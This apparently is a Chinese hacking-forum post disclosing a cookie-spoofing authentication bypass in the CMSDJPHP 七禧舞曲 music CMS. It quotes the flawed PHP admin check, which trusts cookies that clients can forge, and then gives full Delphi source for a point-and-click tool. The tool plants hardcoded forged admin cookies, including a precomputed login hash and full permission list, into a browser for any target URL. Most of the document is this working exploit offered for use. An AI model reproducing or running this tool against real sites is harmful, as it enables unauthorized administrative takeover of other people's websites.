CMSDJPHP 七禧舞曲管理系统cookies欺骗漏洞 0day

<?php



$CD_Version='V1.0';

$CD_Build='20100501';

function admincheck($CD_Permission){

if($_COOKIE['CD_Permission']<>''){

$menuarr=explode(',',$_COOKIE['CD_Permission']);

$adminlogined='False';

for($i=0;$i<count($menuarr);$i++){

if($menuarr[$i]==$CD_Permission){$adminlogined='True';}

}

if($adminlogined=='False'){AdminAlert('出错了，您没有进入本页面的权限！','',2);}

}else{

AdminAlert('出错了，您没有进入本页面的权限！','',2);

}

}

if(empty($_COOKIE['CD_AdminID'])){

AdminAlert('您没有进入本页面的权限，本次操作已被记录！','admin_login.php',0);

}elseif($_COOKIE['CD_Login']!=md5($_COOKIE['CD_AdminID'].$_COOKIE['CD_AdminUserName'].$_COOKIE['CD_AdminPassWord'].$_COOKIE['CD_Permission'])){//亮点在这句

AdminAlert('您没有进入本页面的权限，本次操作已被记录！','admin_login.php',0);

}

$CD_Version="V1.1";

$CD_Build="20121208";



        //if(!eregi($_SERVER['SERVER_NAME'],$_SERVER['HTTP_REFERER'])){

        //        echo "<br><p align=center><font color='red' style='font-size:9pt'>对不起，为了系统安全，不允许直接输入地址访问本系统的后台管理页面。</font></p>";

        //        exit();   

        //}



        function admincheck($CD_Permission){

                if($_COOKIE['CD_Permission']<>""){

                        $menuarr=explode(",",$_COOKIE['CD_Permission']);

                        $adminlogined="False";

                        for($i=0;$i<count($menuarr);$i++){

                                if($menuarr[$i]==$CD_Permission){$adminlogined="True";}

                        }

                        //if($adminlogined=="False"){AdminAlert("出错了，您没有进入本页面的权限！","",2);}

                }else{

                        //AdminAlert("出错了，您没有进入本页面的权限！","",2);

                }

        }



        if(empty($_COOKIE['CD_AdminID'])){

                AdminAlert("您没有进入本页面的权限，本次操作已被记录！","admin_login.php",0);

        }elseif($_COOKIE['CD_Login']!=md5($_COOKIE['CD_AdminID'].$_COOKIE['CD_AdminUserName'].$_COOKIE['CD_AdminPassWord'].$_COOKIE['CD_Permission'])){

                AdminAlert("您没有进入本页面的权限，本次操作已被记录！","admin_login.php",0);

        }

unit uMain;

{

   T00ls首发

}



interface



uses

  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

  Dialogs, bsSkinData, BusinessSkinForm, bsSkinCtrls, OleCtrls, SHDocVw,

  StdCtrls, Mask, bsSkinBoxCtrls,MSHTML;



type

  TfrmMyFish = class(TForm)

    bsBusinessSkinForm1: TbsBusinessSkinForm;

    bsCompressedStoredSkin1: TbsCompressedStoredSkin;

    bsSkinData1: TbsSkinData;

    pnlContorl: TbsSkinPanel;

    pnlBrowser: TbsSkinPanel;

    wbAdmin: TWebBrowser;

    lblURL: TbsSkinStdLabel;

    edtURL: TbsSkinEdit;

    btnGo: TbsSkinSpeedButton;

    lblFishAdmin: TbsSkinStdLabel;

    edtFishAdmin: TbsSkinEdit;

    pnlLoading: TbsSkinPanel;

    GaugeLoading: TbsSkinGauge;

    lblLoading: TbsSkinStdLabel;

    procedure btnGoClick(Sender: TObject);

    procedure FormResize(Sender: TObject);

    procedure FormCreate(Sender: TObject);

    procedure wbAdminProgressChange(Sender: TObject; Progress,

      ProgressMax: Integer);

  private

    { Private declarations }

  public

    { Public declarations }

  end;



const

  COOKIE_HEAD = 'CD_Login=1df476c11ce215ad5a402afe5f370148; ';

  COOKIE_PASS = 'CD_AdminID=1; CD_AdminUserName=admin; CD_AdminPassWord=7622f895d131b0155232085e7b4a7654; CD_Permission=1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11; ';

var

  frmMyFish: TfrmMyFish;

  Doc: IHTMLDocument2;

  IsTrue: Boolean;

  iP: Integer;



implementation



{$R *.dfm}



function EncDecCode(Text:String; XorPass: Integer): String;

var

  i, Len: integer;

begin

  Result:='';

  Len := StrLen(Pchar(Text));

  for i := 1 to Len do

  begin

    Result := Result + Chr(Ord(Text[i]) xor XorPass);

  end;

end;



function XCode(Str:String):String;

begin

  Result:='';

  Result:=PChar(EncDecCode(Str,12));

end;



procedure TfrmMyFish.btnGoClick(Sender: TObject);

var

  sCookies: string;

  sList: TStrings;

  i: Integer;

begin

  sCookies := COOKIE_HEAD + COOKIE_PASS;

  lblLoading.Caption := '正在努力···';

  pnlBrowser.Visible := False;

  pnlLoading.Visible := True;

  wbAdmin.Navigate(edtURL.Text);

  repeat

    Application.ProcessMessages;

    Sleep(50);

  until not wbAdmin.Busy;

  Doc := wbadmin.Document as IHTMLDocument2;

  sList := TStringList.Create;

  try

    sList.CommaText := sCookies;

    for i:=0 to sList.Count-1 do

    begin

      Doc.cookie := sList.Strings[i];

    end;

    pnlBrowser.Visible := True;

    pnlLoading.Visible := False;

    wbAdmin.Refresh;

  finally

    sList.Free;

  end;

end;



procedure TfrmMyFish.FormResize(Sender: TObject);

begin

  edtURL.Width := pnlContorl.Width - 150 - 100;

  btnGo.Left := pnlContorl.Width - 75;

  GaugeLoading.Width := pnlLoading.Width div 100 * 70;

  GaugeLoading.Left := (pnlLoading.Width - GaugeLoading.Width) div 2;

  GaugeLoading.Top  := pnlLoading.Height div 2 - 100;

  lblLoading.Width := pnlLoading.Width div 100 * 70;

  lblLoading.Left :=  (pnlLoading.Width - GaugeLoading.Width) div 2;

  lblLoading.Top :=  pnlLoading.Height div 2 + 50;

end;



procedure TfrmMyFish.FormCreate(Sender: TObject);

begin

  pnlBrowser.Visible := False;

  pnlBrowser.Align := alClient;

  wbAdmin.Align    := alClient;

  pnlLoading.Visible := True;

  pnlLoading.Align := alClient;

  GaugeLoading.Value := 0;

  lblLoading.Caption := '初始化完毕。';

end;



procedure TfrmMyFish.wbAdminProgressChange(Sender: TObject; Progress,

  ProgressMax: Integer);

begin

  if ProgressMax<>0 then

  begin

    iP:=Progress*100 div ProgressMax;

    GaugeLoading.Value := iP;

  end else;

end;



end.